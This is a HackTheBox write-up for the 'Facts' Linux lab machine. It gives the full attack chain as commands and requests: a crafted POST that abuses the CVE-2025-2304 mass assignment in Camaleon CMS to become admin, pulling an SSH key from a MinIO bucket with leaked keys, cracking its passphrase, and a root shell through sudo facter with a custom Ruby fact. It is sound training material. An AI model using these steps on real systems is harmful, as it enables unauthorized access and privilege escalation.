Facts is an easy Linux box from HackTheBox Season 10. Nothing here is clever on its own, but it chains four things worth keeping fresh: a mass assignment in a Ruby CMS, an internal S3 bucket leaking credentials, cracking the passphrase of an SSH key, and a silly binary running as root. Let’s walk through it.
Recon
Same as always, a full port sweep and then version detection on whatever is open:
nmap -p- --min-rate 5000 10.129.12.207
nmap -sC -sV -p22,80 -oA facts 10.129.12.207
Only two ports:
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 9.9p1 (Ubuntu) |
| 80 | HTTP | nginx 1.26.3 |
Port 80 redirects to facts.htb, so drop it into /etc/hosts:
echo "10.129.12.207 facts.htb" | sudo tee -a /etc/hosts
The CMS
The site runs Camaleon CMS 2.9.0, a CMS built on Ruby on Rails. That version string is the key detail: 2.9.0 carries CVE-2025-2304, a mass assignment in the endpoint the admin panel uses to update users over AJAX.
The nice part is that registration is open. Sign up at /admin/register with anything:
user: dark
password: admin123
email: a@a.com
You get into the panel, but as a plain user there’s not much to see. That’s where the bug comes in.
CVE-2025-2304: from user to admin
The user controller’s updated_ajax method calls params.permit! without filtering, meaning it accepts any parameter you send and assigns it to the model. The panel uses it to change your password, but if you smuggle user[role]=admin into that same request, Rails assigns it without complaint.
With Burp you intercept the password change for your own account (something like POST /admin/users/5/updated_ajax) and add the role parameter:
POST /admin/users/5/updated_ajax HTTP/1.1
Host: facts.htb
Content-Type: application/x-www-form-urlencoded
user[password]=admin123&user[password_confirmation]=admin123&user[role]=admin
Forward it, reload the panel, and you’re an administrator. If you’d rather not fight with Burp, there are public PoCs for the CVE that automate the registration plus the escalation in one line.
S3 credentials in the panel
As admin, the site configuration options show up, and among them is the storage integration. Camaleon supports S3-style backends, and there’s an internal one configured here with its Access Key and Secret Key in plain sight. Copy them.
The S3 service (a MinIO instance) listens on port 54321 on the host itself. Configure the AWS client with the stolen keys:
aws configure
# Access Key ID and Secret Access Key from the panel, any region
And list. The only quirk is that you have to point at the endpoint manually, since it isn’t real AWS:
aws --endpoint-url http://facts.htb:54321 s3 ls
# internal
# randomfacts1
The internal bucket is the one that matters:
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh/
aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519
If
awscomplains that the signature is invalid, it’s usually your clock being out of sync with the box. Asudo ntpdate -s time.google.comsorts it out.
Cracking the passphrase
The id_ed25519 key is passphrase-protected, so it won’t go straight in. Convert it to a format John understands and throw rockyou at it:
ssh2john id_ed25519 > id_ed25519.hash
john id_ed25519.hash --wordlist=/usr/share/wordlists/rockyou.txt
It falls in seconds: the passphrase is dragonballz. Fix the permissions and log in as the trivia user:
chmod 600 id_ed25519
ssh -i id_ed25519 trivia@facts.htb
And there’s user.txt.
Root: facter as a malicious fact
First thing after landing, check what we can do with sudo:
sudo -l
# (ALL) NOPASSWD: /usr/bin/facter
Facter is Puppet’s tool for collecting system data (“facts”). The interesting bit is that it supports custom facts written in Ruby, and if you point it at a directory with --custom-dir, it will load and execute whatever .rb lives there. Since we run it with sudo, that Ruby runs as root.
Create a fact that spawns a shell and hand it to facter:
echo 'exec "/bin/bash"' > /home/trivia/root.rb
sudo /usr/bin/facter --custom-dir /home/trivia/ root
Root shell, and root.txt is ours.
What I take away
None of the steps is hard on its own, but Facts is a good reminder of a couple of things that keep showing up in real environments: an outdated CMS with a known CVE opens the door, and credentials are almost never where they “should” be — they’re in config panels and internal buckets nobody locked down. And the usual lesson on privesc: before hunting for exotic exploits, run sudo -l and ask what extra a binary can do when it trusts files you control.